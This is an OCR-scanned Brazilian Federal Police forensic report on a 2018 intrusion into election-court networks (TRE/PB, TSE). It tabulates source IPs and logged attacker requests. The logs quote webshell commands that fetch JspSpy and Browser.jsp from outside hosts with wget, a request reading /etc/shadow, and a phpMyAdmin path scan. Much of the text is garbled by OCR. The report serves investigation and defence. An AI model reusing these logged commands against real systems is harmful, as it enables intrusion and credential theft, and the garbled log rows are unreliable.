4b 
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| Ya DO TOTAL, 


ENDEREÇO IP DE ORIGEM 







De pronto, é possível perceber o grande número de registros oriundos dos IPs 
10.12.2.29, 10.12.2.33, 10.12.2.7 e 10.12.2.39, os quais, segundo informação do TSE, 
a pertencem à rede do TRE/PB. 


Foram realizadas pesquisas por endereços IP de origem (campo “src”) que não 












fossem reservados para intranets, obtendo-se o seguinte resultado após a consulta Whois: 
XRIO “DIGITRO” | 


Organização 
Endereço IP Data Início 

Responsável 

LOCAWEB 

SERVIÇOS DE 191.252.64.20 17/04/2018 21:46:26 | 18/04/2018 06:36:35 | Brasil 

INTERNET S/A ” 

HYDRA RE 

COMMUNICATIONS | 195.140.215.13 | 17/04/2018 20:38:39 | 21/04/2018 15:02:57 | SSMO 
LTD Unido 


185.153.176.4 17/04/2018 21:31:18 | 18/04/2018 19:12:14 











Data Término 


— 


185.153.176.5 18/04/2018 01:49:06 | 18/04/2018 02:19:32 
185.153.176.8 18/04/2018 02:25:21 | 18/04/2018 05:27:54 
185.153.176.2 18/04/2018 02:37:52 | 18/04/2018 02:56:54 | Panamá 








NORDVPN-LI 
TEFINCOM S.A. 





185.153.176.6 18/04/2018 03:04:47 | 18/04/2018 03:13:54 


201.81.167.53 18/04/2018 03:15:28 | 21/04/2018 08:36:42 
NS 201.6.129.235 18/04/2018 05:24:54 | 18/04/2018 05:48:59 | Brasil 


20/04/2018 15:15:42 
18/04/2018 18:56:14 
18/04/2018 19:13:08 
18/04/2018 23:14:54 
18/04/2018 20:56:20 
TIM CELULAR S.A. 12. 21: 


—p 





Brasil 


185.153.176.3 18/04/2018 03:20:35 | 18/04/2018 03:20:35 


18/04/2018 22:21:17 
18/04/2018 22:23:14 
18/04/2018 23:14:52 
19/04/2018 01:13:32 


19/04/2018 04:08:37 
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189.40.88.15 19/04/2018 08:11:15 | 19/04/2018 08:11:16 





Os endereços IP das organizações citadas foram utilizados em sua grande parte 
para acessar o endereço IP 187.33.236.165, nas portas 4433 (HTTPS/SSL) e 4500 (IPsec). 
Tal endereço está registrado para o Tribunal Regional Eleitoral da Paraíba, e tais portas 


indicam acesso por meio da VPN daquele órgão. 


Entre os endereços IP de origem dos acessos, verificou-se a existência de IPs 
localizados no exterior (NordVPN - https:/nordvpn.com e HYDRA COMMUNICATIONS 
LTD) e pertencentes à empresa Locaweb e às operadoras de telefonia celular Claro e Tim no 


Brasil. 


Na página seguinte, pode-se visualizar uma linha de tempo com os acessos 


endereços IPs de cada um dos grupos supracitados: 





4 








ha 


00:67 
vo/TZ 


co O < 





OO:TT 
bo/TZ 


00-€0 
vo/TZ 


pe 


00:6T DO:TI 00:£0 00:6T oO:TT 00:€0 00:61 
40/02 so/02 +o/0Z vO/6T to/61 +0/6T vO/8T 


x PY l IM Vo 


(opdenunuoo) Id/NODIC/ZVAdDO/00AS/DLN-6107/700 N OVÍVINHOANI 


e o 


OO:TT 
bo/8T 





“a 


“a 











Cg 


INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 
Também foram realizadas buscas por argumentos suspeitos, os quais poderiam 


indicar o download de artefatos maliciosos para os computadores, chegando-se ao seguinte 


resultado: 


O 
17/04/2018, | 10.12.2.33 | 10.12.0.131 | /af/pqp.jsp?comment=wget+https://raw.githubuserco 
22:04:48 MNTUEXI | :8080:X0 ntent.com/tennc/webshell/master/jsp/J 
2 17/04/2018, | 10.12.2.33 | 10.12.0.131 | /af/pap.jsp?comment=wget+https://raw.githubuserco 
22:08:06 :38665:X!1 | :8080:X0 ntent.com/tennc/webshell/master/jsp/] 


3 18/04/2018, | 10.12.2.33 | 10.12.0.13] /afipap.isp?comment=wget+https://raw.githubuserco 
00:21:54 :1906:X1 | :8080:X0 ntent.com/tennc/webshell/master/jsp/JspSpy .jsp 


18/04/2018, | 10.12.2.33 | 10.12.0.131 | /af/pap.jsp?comment=wget+https://raw.githubuserco 
00:23:04 :13998:X1 | :8080:X0 - | ntent.côm/tennc/webshell/master/jsp/JspSpy.jsp 


18/04/2018, | 10.12.2.29 10.2.70.92 /mywebserver/verificaLoginUsuario. php?Nome=test 
04:37:49 :52765:X 1 | :80:X0 | | e&Senha=teste 


18/04/2018, 10.12:2.29 | 10.5.2.56 feste/domFunctions, js | 
20: 34: I4 5265 1:XI :80: X0 


ERA 10.12.2.29 | 10.5.2.56 fteste/boxover.)s 

22:34:14 :52652:X 1. | :80:X0 

18/04/2018, 10.12.2229 | 10.5.2.56 fteste 

22: 34:14 :50806:X1 | :80:X0 

18/04/2018, 10.12.2.29 | 10.5.2.56 fteste/padrao2:css 

22:34:14 :52650:X1 | :80:X0 

18/04/2018, 10.12.2.29 | 10.5.2.56 fteste/estilos. css : | 

22:34:14 :52649:X1 | :80:X0 ; = ; 
2 | 18/04/2018, 10.12.2.29 | 10.5.2.56 fteste/padrao.ess 

22:34:14 :52648:X1 | :80:X0 


18/04/2018, | 10.12.2.29 | 10.5.2.57 fat/pap.jsp?comment=wget+10.12.0.13 1:8080/jmx- 
22:45:23 :52907:X1 | :8080:X0 console/Browser.jsp.txtt- 
O+/opt/jboss/server/default% 


l4 | 18/04/2018, 10.12.2.29 | 10.5.2.57 fafipap.isp?comment=wget+http://10. 12.0.131:8080/ 
22:46:18 :58919:X1 | :8080:X0 jmx-console/Browser.jsp.txt+-O+/opt/jboss/serv 
I5 


18/04/2018, | 10.12.2.29 | 10.5.2.57 /af/pap.jsp?comment=Command:+wget+http: Hlapps3 | 
22:48:03 :52246:X 1 | :8080:X0 tre-rn.jus. br/documentos/atas/config/Browserjspa > ISP ey ' 























a 


( Riad : E | 
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18/04/2018, 
22:48:37 


10.5.2.57 
:8080:X0 


/af/pqp.jsp?comment=wget+http://apps3 .tre- 
rn.jus.br/documentos/atas/config/Browser.jsp.txt+- 
O+/op 




















18/04/2018, 
22:49:59 






10.12.2.29 
:57466:X |] 


/af/pqp.jsp?comment=wget+http://apps3 .tre- 
rn.jus.br/documentos/atas/config/Browser.j Isp. txtt- 
O+/op 


10.5.2.57 
:8080:X0 


18/04/2018, | 10.12.2.29 | 10.5.2.57 
23:13:04 :59208:X1 | :8080:X0 


18/04/2018, | 10.12.2.29 | 10.5.2.63 
23:42:07 :60046:X1 


18/04/2018, | 10.12.2.29 
23:55:10 :52592:X | 


18/04/2018, | 10.12.2.29 
23:56:07 :62863:X1 


2 | 19/04/2018, | 10.12.2.29 
00:17:37 :50626:X1 
19/04/2018, | 10.12.2.29 
00:17:53 :50622:X] 

19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:19:31 :50627:X1 | :8080:X0 
19/04/2018, | 10.122.29 | 10.1.1.38 
00:20:00 :50631:X1 | :8080:X0 

19/04/2018, | 10.12.2.29 | 10.1.1.38 

00:22: 06 :50637:X1 :8080: X0 
19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:31:21 :50875:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:37:01 :50878:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:41:13 :51035:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:41:37 :51036:X1 | :8080:X0 

31 | 19/04/2018, | 10.12.2.29 | 10:1.1.38 
00:46:32 :51044:X1 | :8080:X0 
















/af/pqp.jsp?comment=wget+--h 







faf/pap.isp?comment=wget+http://apps3 .tre- 
:8080:X0 mus. br/documentos/atas/config/Browser sp. txt+- 
O+/op 












10.5.2.66 /af/pap.jsp?comment=wget 
:8080:X0 


10.5.2.66 /af/pap.jsp?comment=wget+http://apps3 tre- 
:8080:X0 rn.jus.br/documentos/atas/config/Browser.jsp.txt+- 
O++/o 




















10.1.1.38 
:8080:X0 





teste/Browser.)sp 





10.1.1 38 fteste/JspSpy.jsp?o=upload 


:8080:X0 























fteste/pap.jsp?comment=locate+jmxproxy 





fteste/Browser.jsp?sort=| &editfile=/etc/shadow 





!teste/Browser.jsp 





fteste/Browser.jsp?sort=| &dir=/usr/local/apache- 
tomcat-6.0.35/webapps/asi 


fteste/Browser.jsp?sort=| &dir=/usr/local/apache- 
tomcat-6.0.35/webapps 











heste/Browser.jsp?sort=| &dir=/usr/local/ apache- 
tomcat-6.0.35/webapps/teste 







fteste/Browser.jsp?sort=| &dir=/usr/local/apache- 
tomcat-6.0.35/webapps/teste 








fteste/Browser.jsp?sort= | &dir=/usr/local/apache- 
tomcat-6.0.35/webapps 











o a) 
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RR Es dino do ; RR Te 
10.1.1.38 e 





10.12.2.29 





ta Ens Saad 
19/04/2018. 
04:16:22 :51282:X1 | :8080:X0 


E ERES: tesão E RES 
19/04/2018, 1 10.12.2.29 | 10.1.1.38 teste/]spSpy.Jsp 
04:19:39 :59739:X 1 | :8080:X0 
19/04/2018, | 10.12.2.229 | 10.1.1.38 !teste/IspSpy.jsp 
04:24:24 :58511:X1 | :8080:X0 


35 | 19/04/2018, | 10.12.2.29 | 192.168.204 | fteste-cluster 
04:28:34 :58475:XI| 


36 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 | Meste/]spSpy.jsp?o=vLogin 
05:53:36 :55899:X 1 | :8080:X0 
19/04/2018, | 10.12.2.29. | 10.1.1.127 | fteste/JspSpyjsp 
05:54:05 :53918:X1 | :8080:X0 


19/04/2018, | 10.12.2.29 | 10.1,1.127 | Aeste/IspSpy.isp 
05:55:33 | :60277:X1 | :8080:X0 


19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/JspSpy.jsp : 
05:57:45 :59960:X1 | :8080:X0 
4 19/04/2018, | 10.12.2.29 | 10.1.1.127 heste/JspSpy.Isp | 
05:58:14 :52540:X1 | :8080:X0 
4 19/04/2018, 10.12.2.29 | 10.1:1.127 fteste/]spSpy.jsp 
05:58:36 :60747:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/Browser.jsp?Javascript 
06:00:33 :60406:X1 | :8080:X0 
19/04/2018, 10.12.2.29 | 10.1.1.127 tteste/]spSpy.)sp 
06:00:36 :53714:X1 | :8080:X0 
44 


19/04/2018, | 10.12.2.29 | 10.1.1.127 teste/Browser.jsp?sort=| &dir=/usr/share/tomcat6/w 
06:01:30 :55975:X1 | :8080:X0 























[08] 















ebapps/sadAdinSRHSP 











19/04/2018, | 10.12.2229 | 10.1.1.127 !teste/Browser.jsp?sort=| &dir=/usr/share/tomcat6/w 
06:06:40 :61734:X1 | :8080:X0 ebapps/sadAdmSRHSP 


46 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 | Meste/]spSpyjsp 
06:07:46 -58985:X1 | :8080:X0 
47 | 19/04/2018, 10.12.2229 | 10.1,1.127 fteste/]spSpy.jsp 
06:08:42 :57462:X1 | :8080:X0 o 
48 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 | Aeste/]spSpyjsp l 
06:08:56 :56322:X1 | :8080:X0 E 
e LS 


a 








19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/images/logo.png 
06:15:50 :50869:X1 | :8080:X0 












H|DATA ORIGEM ORIGEM | DESTINO | ARGUMENTO 
19/04/2018. 10.12.2.29 1 10.1.1.127 Iteste/]spSpy Jsp 

06:09:36 :59858:X1 | :8080:X0 

Es 19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/Browser.jsp?sort=| &dir=/usr/share/tomcat6/w 
06:09:40 :50962:X1 | :8080:X0 ebapps/sadAdmSRHSP/WEB-INF 
19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/]spSpy.jsp 
06:10:03 :54888:X1 | :8080:X0 
19/04/2018, | 10.12.2.229 | 10.1.1.127 Aeste/Browser.jsp?sort=| &dir=/usr/share/tomcat6/w 
06:13:41 :58852:X1 | :8080:X0 ebapps 


19/04/2018, | 10.12.2.29 | 10.1.1.127 | | fteste/Browser.jsp?sort=| &dir=/var/www/html/piwi 
06:15:18 :64618:X1 | :8080:X0 k 


54 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/images/logo.png 
06:15:49 :52485:X1 | :8080:X0 
















tn 
19) 









19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/Browser.jsp?sort=| &file=/var/www/html/inde 
06:16:17 :50773:X1 | :8080:X0 x.html 


19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/Browser.)sp?sort=1 &dir=/var/www/html/tresp 
06:17:02 4962 1:X1 | :8080:X0 commonsweb-api/sre 
19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/servicemonitor.swf 
06:17:02 :56235:X1 | :8080:X0 

19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/AIRLocalizer.js 
06:17:02 :56232:X1 | :8080:X0 

19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/lib/air/AIR Source Viewer.js 
06:17:02 :56234:X1 | :8080:X0 

19/04/2018, 10.12.2.29 1 10.1.1.127 fteste/lib/air/AIRMenuBuilder.js 
06:17:02 :56233:X1 | :8080:X0 

19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/applicationupdater.swf 
06:17:03 :56236:X1 | :8080:X0 


19/04/2018, 10.12.2.29 1 10.1.1.127 fteste/Browser.jsp?sort=| &file=/var/www/html/tresp 
06:17:40 :50402:X1 | :8080:X0 commonsweb-api/index.php 


19/04/2018, 10.12.2.29 1 10.1.1.127 iteste/assets/css/Print.css 
06:18:27 :63586:X1 | :8080:X0 
19/04/2018, 10.12.2.29 | 10.1.1.127 fteste/assets/css/APIBrowser.css 
06:18:27 :63585:X1 | :8080:X0 Zed) 























[en 
RE 













19/04/2018, | 10.12.2229 | 10.1.1.127 fteste/IspSpy.jsp 
06:24:15 :61459:X1 | :8080:X0 





INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 















6 





6 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 


06:18:27 :63583:X1 | :8080:X0 
67 | 19/04/2018, 10.12.2.29 1 10.1.1.127 
06:18:27 :63587:X1 | :8080:X0 
19/04/2018, 10.12.2.29 1 10.1.1.127 
06:18:27 :63584:X1 | :8080:X0 
69 | 19/04/2018, 10.12.2229 | 10.1.1.127 
06:19:59 :61553:X1 | :8080:X0 
70 | 19/04/2018, 10.12.2.29 | 10.1.1.127 
06:20:23 :56703:X1 | :8080:X0 
71 19/04/2018, 10.12.2229 1 10.1.1.127 
06:21:24 :53857:X1 | :8080:X0 
72 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 'teste/Browser.jsp 
06:22:52 :57667:X1 | :8080:X0 





!teste/lib/jqueryapi/api-browser.js 







fteste/lib/jqueryapi/api-loader.js 







fteste/lib/air/AC RunActiveContent,js 







iteste/Browser.jsp?sort=| &file=/var/www/html/tresp 
commonsweb-api/no-scroll-application.xml 







!teste/Browser.jsp?sort=| &file=/var/log/tomcat6/cat 
alina.out 





!teste/Browser.jsp?sort= | &dir=/ 











19/04/2018, 10.12.2229 | 10.1.1.127 teste/]spSpy.jsp 
06:25:15 :54637:X 1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.127 | fteste/JspSpy.jsp 
06:26:09 :51639:X1 | :8080:X0 
19/04/2018, | 10.12.2229 | 10.1.1.215 /af/pqp.jsp?comment=wget 
06:43:28 :58636:X1 | :8089:X0 


19/04/2018, | 10.12.2.29 | 1 01 1.215 /af/pgp.jsp?comment=wget+http://apps3 .tre- 
06:45:05 :62162:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/aq 


78 | 19/04/2018, | 10.12.2.29 | 10.1.1.215 /af/pqgp.jsp?comment=wget+http://apps3 .tre- 
06:46:10 :62214:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/aq 

79 | 19/04/2018, | 10.12.2229 | 10.1.1.215 faf/pgp.jsp?comment=wget-+http://apps3 .tre- 
06:48:43 :62424:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/ag  - 
19/04/2018, | 10.12.2.29 | 10.10.1.241 | fteste/my web app.war 
10:05:55 :59409:X1 | :8080:X0 
19/04/2018, 10.12.2.29 | 10.12.1.182 | faf/pqp.jsp?comment=wget 
10:18:34 :58337:X1 | :8080:X0 = 


82 | 19/04/2018, 10.12.2.29 | 10.12.1.182 
10:19:35 :64425:X] | :8080:X0 
























/aflpap.isp?comment= wget-+http://apps3 tre- 
rn,jus.br/documentos/atas/config/Browser.jsp.txt+- 
O+/ 


M 








INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 


E DATA ORIGEM DESTINO | DESTINO [ARGUMENTO 
19/04/2018, | 10.12.2229 | 10.8.1.11 !teste 
19:12:06 :55050:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.8.1.11 fteste 
193415 :60960:X 1 | :8080:X0 


19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=| &dir=/usr/local/tomcat/ 
19:51:26 :45633:X1 | :8080:X0 webapps 


19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?Javascript 

19:51:57 :45632:X1 | :8080:X0 

19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=| &dir=/usr/local/tomcat/ 
19:53:57 :58662:X1 | :8080:X0 webapps/tre 


19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=| &dir=/usr/local/tomcat/ 
19:54:41] :1485:X] :8080:X0 webapps/tre/WEB-INF/classes/sade 


19/04/2018, 10.12.2.7 10.8.1.1] /Browser/000.jsp 

19:56:04 :10862:X1 | :8080:X0 

19/04/2018, | 10.12 10.8.1.11 /Browser/000.jsp 

19:56:33 13254 :8080:X0 

19/04/2018, | 10.12.2.7 10.8.1.11] /Browser/000.jsp 

19:57:13 :18299:X1 | :8080:X0 

19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=| &dir=/usr/local/tomcat/ 

20:11:32 :45691:X1 | :8080:X0 webapps/tre/WEB-INF/classes/sade 
19/04/2018, | 10.12.2.7 10.8.1.11 
20:15:17 :6232:X] :8080:X0 

19/04/2018, | 10.12.2.7 0.8.1.1 

20:16:46 :17640:X1 | :8080:X0 


19/04/2018, 10.12.2.7 10.8.1.11 


































/Browser/Browser.jsp?sort= | &dir=/usr/local/tomcat/ 
webapps/tre/W EB-INF/classes/supre 







/Browser/Browser jsp?sort=| &dir=/usr/local/tomcat/ 
webapps/tre/WEB-INF/classes/dne 





/Browser/Browser.jsp?sort=| &dir=/usr/local/tomcat/ 











20:17:11 :19690:X1 | :8080:X0 webapps/tre/WEB-INF/classes/sas/conf 
19/04/2018, | 10.12.2.29 | 10.81.11 /Browser/000.jsp 

20:30:06 :57704:X1 | :8080:X0 

19/04/2018, 10.12.2.29 | 10.8.1.11 /Browser/000.jsp 

20:44:04 :53575:X1 | :8080:X0 





98 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=| &dir=/usr/local/tomcat/ 
20:59:22 :17601:X1 | :8080:X0 webapps/tre/WEB-INF/classes/sas 
19/04/2018, | 10.12.2.7 10.8.1.1] 
21:05:20 :55864:X1 | :8080:X0 








/Browser/Browser.jsp?sort=] &dir=/usr/local/tomcat/ 
webapps/tre/WEB-INF/classes 





S3 















D 
ts Ee Ra Ru E é 
19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=| &file=/usr/local/tomcat 
21:08:52 :12679:X1 | :8080:X0 Avebapps/tre/WEB- E 
INF/classes/componente acesso% 


19/04/2018, 10.12.27 [10811] /Browser/Browser.jsp?sort=| &dir=/usr/local/tomcat/ 
21:32:13 :24811:X1 | :8080:X0 webapps/tre/WEB-INF/classes/gas 


102 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser jsp?sort=| &dir=/usr/local/tomcat/ 
21:33:16 36251:X1 | :8080:X0 webapps/consultaOrcamentaria/WEB-INF/classes 


103 | 19/04/2018, | 10.12.2.29 10.1.1.38 fteste/]spSpy.jsp?o=vLogin 
22:01:58 :62705:X1 | :8080:X0 
104 | 19/04/2018, | 10.12.2229 | 10.1.1.38 feste/IspSpy.jsp | 
22:02:29 :63021:X1 | :8080:X0 
105 | 20/04/2018, | 10.122.29 | 10.81.11 /Browser/000.jsp 
a 01:21:38 :61092:X1 | :8080:X0 
21/04/2018, | 10.12.2229 | 10.1.1.38 fteste/]spSpy.jsp 
06:14:06 :64769:X1 | :8080:X0 
107| 21/04/2018, | 10.12.2229 | 10.1.1.38 !teste/IspSpy.jsp o 
. | 06:35:47 :57429:X1 | :8080:X0 
21/04/2018, | 10.12.2.29 | 10.1.1.38 fteste/IspSpy.jsp 
07:05:38 :53939:X1 | :8080:X0 
21/04/2018, | 10.12.2229 | 10.1.1.38 | Mteste/JspSpy.jsp 
07:13:09 :60667:X1 | :8080:X0 E 
110| 21/04/2018, | 10.12.2.29 | 10.1.1.38 teste/]spSpy.jsp 
14:00:29 :50096:X1 | :8080:X0 


) Entre as atividades detectadas, temos por exemplo o download de artefatos 
maliciosos UspSpy sp e Browser.jsp) e a varredura de portas em outros computadores. É 
interessante notar que em um dos casos (linha 5, sombreada em cinza acima), o artefato 
malicioso foi baixado do endereço IP 191.252.0.19, pertencente à empresa Locaweb Serviços 


de Internet S/A. 


Em relação aos fatos divulgados em novembro de 2018, foram realizadas buscas 
pelo endereço IP 10.30.1.229, o qual, segundo relatório fornecido pelo próprio TSE, continha 
um portal da Seção de Voto Informatizado, SEVIN, com a indicação de link de dois servidores 


de integração contínua (Jenkins), um em Windows e outro em 








»b 








+ 
INFORMAÇÃO Nº 002/2019-UTC/SRCCICGPF AZ/DICOR/PF (continuação) y 


Foram identificados acessos realizados a este endereço IP ainda em abril de 2018, 
oriundos dos endereços IP 10.12.2.33, 10.12.2.39 e 10.12.2.29, o que indica que o possível 
hacker pode ter obtido acesso aos códigos-fonte ainda nesse período. Nos acessos, é possível 
perceber que são realizados testes para verificar a existência de ferramentas que possam ser 
alvos de ataques, como por exemplo o PhpMy Admin, nos computadores de destino, e que são 
acessados links condizentes com a captura de tela do servidor da SEVIN apresentada 


relatório do TSE, como as linhas sombreadas em cinza abaixo: 








INF Ad Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 

















18/04/2018 00:56:02 
18/04/2018 00:56:06 | 10.12.2.33:17497:X1 
18/04/2018 00:56:07 /pma/ 

18/04/2018 00:56:07 [dbadmin/ 

18/04/2018 00:56:07 


DA) 


Imyadmin/ | 

10.12.2.33:18286:X1 
18/04/2018 00:56:11 [10.12.2.33:19414:X1 [10.30.1.229:80:X0 | /phpMyAdmin?/ 
18/04/2018 00:56:11 [10.12.2.33:18962:X] lopenserver/phpmyadmin/ 
1 / 


8/04/2018 00:56:12 0.12.2.33:19570:X1 10.30.1.229:80:X0 phpMyAdmin-2/ 


2 


195) 


| E 


18/04/2018 00:56:13 10.12.2.33:19912:X1 10.30.1.229:80:X0 /php-my-admin/ 












[7º |18/04201800:56:14 | 10.12.2.33:20198:X1 [10.30.1.229:80:X0 | /phpMyAdmin-2.2.6/ 
18 | 18/04/201800:56:16 [10.12.2.33:20526:X1 [10.30.1.229:80:X0 | /phpMyAdmin-2.5.1/ 
!9 | 18/04201800:56:17  [10.12.2.33:21188:X1 [10.30.1229:80:X0 | /phpMyAdmin-2.5.4/ 
10.30.1.229:80:X0 
| 156: 10.30.1.229:80:X0 


8/04/2018 00:56:18 10.12.2.33:21496:X] 
2 18/04/2018 00:56:19 10.12.2.33:21776:X] 10.30.1.229:80:X0 /phpMyAdmin-2.5.5/ 
1 : 


[9] 









8/04/2018 00:56:19 /phpMyAdmin-2.5.5-pl/ 
18/04/2018 00:56:20 
18/04/2018 00:56:20 10.30.1.229:80:X0 /phpMyAdmin-2.5.6-rc1/ 


18/04/2018 00:56:22 10.12.2.33:22851:X] 10.30.1.229:80:X0 /phpMyAdmin-2.5.7-pll/ 





DN 


GAÉ 











INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPF azpicA»r (continuação) 











18/04/2018 00:56:22 [10.12.2.33:23007:X1 | 10.30.1.229:80:X0 /phpMy Admin-2.6.0-alpha/ 
18/04/2018 00:56:23 | 10.12.2.33:23162:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.6.0-alpha?/ 
18/04/2018 00:56:24 | 10.12.2.33:23512:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.6.0-betal/ 


a 
2 


+ 


PI BLEL ELOI CO] Ot] LO] Lo] LO 
IN] — OS J La 


(phpMyAdmin-2.6.0-beta?/ 
(phpMy Admin-2.6.0-rc1/ 
phpMyAdmin-2.6.0-rc3/ 
10.12.2.33:24506:X1 | 10.30.1.229:80:X0 | /phpMyAdmin-2.6.0/ 


| in 


8 | 18/04/201800:56:28 [10.12.2.33:24963:X1  [10.30.1.229:80:X0 | /phpMyAdmin-2.6.0-pl2/ 

9 | 18/04/201800:56:28 | 10.12.2.33:25231:X] 
18/04/2018 00:56:28 | 10.12.2.33:25079:X1 | | 10.30.1.229:80:X0 
18/04/2018 00:56:29 | 10.12.2.33:25381:X1 
18/04/2018 00:56:29 | 10.12.2.33:25491:X| 
l 1 










8/04/2018 00:56:30 | 10.12.2.33:25636:X1 | | 10.30.1.229:80:X0 /phpMyAdmin-2.6.1-pll/ 
18/04/2018 00:56:31 | 10.12.2.33:25936:X 1 | 10.30.1.229:80:X0 /phpMy Admin-2.6.1-pl2/ 
45 / 






phpMyAdmin-2.6.1-pl3/ 
18/04/2018 00:56:35 
18/04/2018 00:56:36 | 10.12.2.33:27823:X1 
9 [18/04/2018 00:56:37 | 10.12.2.33:28566:X 1 | 10.30.1.229:80:X0 
l l l / -2.6. 

l 


o 


1 — 3) ON 


0 8/04/2018 00:56:38 | 10.12.2.33:28718:X1 | 10.30.1.229:80:X0 
2 | 18/04/2018 00:56:38 
3 
4 
55 [18/04/2018 00:56:41 | 10.12.2.33:29637:X1 | | 10.30.1.229:80:X0 
AS 
A 


VN 


&7 
S&a 




















NEoRMA DO Nº 002/2019-UTC/ Rd di (continuação) 











58 [18/04/201800:56:44 | 10.12.233:30837:X1 [10.30.1.229:80:X0 | /phpMyAdmin-2.6.4-pl3/ 
9 
18/04/2018 00:56:47 


Ur 


ta 


1 
18/04/2018 00:56:49 | 10.12.2.33:33436:X1 | 10.30.1.229:80:X0 | /phpMyAdmin-2.7.0-pll/ 
18/04/2018 00:56:50 | 10.12.2.33:34522:X1 | 10.30.1.229:80:X0 | /phpMyAdmin-2.7.0/ 
5 | 18/04/201800:56:50 [10.122.33:34091:X1 [10.30.1.229:80:X0 | /phpMyAdmin-2.7.0-pl2/ 
7 [18/04/2018 00:56:52 [10.12.233:34880:X1  [10.30.1.229:80:X0 | /phpMyAdmin-2.8.0-rc1/ 
(phpMyAdmin-2.8.0-rc2/ 
(phpMyAdmin-2.8.0.2/ 
0 
18/04/2018 00:56:54 | 10.12.2.33:35494:X1 
18/04/2018 00:56:54 | 10.12.2.33:36257:X | 
| / 
/ 
/ 
/ 
/ 


- 


O 









+> 


10.30.1. :80: o 1n-2.8.0. 
3 18/04/2018 00:56:55 0.12.2.33:36449:X1 10.30.1.229:80:X0 phpMyAdmin-2.8.0.4/ 

18/04/2018 00:56:55 10.12.2.33:36589:X1 10.30.1.229:80:X0 phpMyAdmin-2.8.1-rcl/ 

18/04/2018 00:56:56 10.12.2.33:36767:X1 10.30.1.229:80:X0 phpMyAdmin-2.8.1/ 


OA) 


18/04/2018 00:56:56 | 10.12.2.33:36958:X1 
18/04/2018 00:56:57 | 10.12.2.33:37502:X 1 | 10.30.1.229:80:X0 
l 1 
l 


) ; / 
8/04/2018 00:56:57 0.30.1.229:80:X0 
8/04/2018 00:56:58 
8/04/2018 00:56:58 
8/04/2018 00:57:00 


| 
18/04/2018 00:57:00 10.12.2.33:38794:X1 10.30.1.229:80:X0 fwebadmin/ 
18/04/2018 00:57:00 10.12.2.33:38618:X1 10.30.1.229:80:X0 /phpmy-admin/ 


os 


D 


o o oo À oa É Roo À a É es À Ena E oa À Es E Ea DIQN|ANIO 
— | q NO) — to 






Lo 
ERR Rê 
io | Lol 














inrormado Nº Turcas s casado (continuação) 














9 


O 8) 


[89 |18/04/201800:57:02 [10.12.233:39434:X1 [10.30.1229:80:x0  |imysgladmin) 
(90 [18/04/2018 00:57:03 | 10.12.2.33:39822:X1 
[91º [18/04/2018 16:11:20 [10.12.2.39:19461:X1 
[92 | 


0.12.2.39:19462:X1 
0.12.2.39:19481:X1 
8/04/2018 16:11:26 | 10.12.2.39:19460:X1 

0.12.2.39:25819:X1 
7 0.12.2.39:28252:X1 


e É red 


E 


8/04/2018 16:11:20 


& 


esa a ololol o 
o] to (n] Es 


tea 


18/04/2018 16:11:20 [10.12.2.39:19482:X1 | 10.30.1.229:80:X0 














trend 





/api/timemachine/index?resource=br jus.tse.eleitoral:transportado 
r-web&metrics=sgale index%2Cduplicated lines densi 


19/04/2018 04:38:45 10.12.2.7:22412:X1 10.30.1.35:80:X0 
9 19/04/2018 04:40:48 10.12.2.7:44791:X1 10.30.1.35:80:X0 


19/04/2018 04:45:18 10.12.2.7:8900:X1 10.30.1.35:80:X0 
19/04/2018 04:45:18 10.12.2.7:7977:X1 10.30.1.35:80:X0 /api/components/show?key=br jus.tse.eleitoral:elo-parent 


fapi/measures/component tree?ps=100&baseComponentKey=br. 
Jus.tse.eleitoral:transportador-web:src/main/java/b 





/code/index?id=br.jus.tse.eleitoral:elo-parent 


So 


19/04/2018 05:00:37 10.12.2.29:55940:X1 192.168.202.99:80:X0 /eleitoral/titulonet2 

03 19/04/2018 05:00:49 10.12.2.29:61838:X1 192.168.202.99:80:X0 /uploads/-/system/project/avatar/81/secad icn-circulo-processo- 

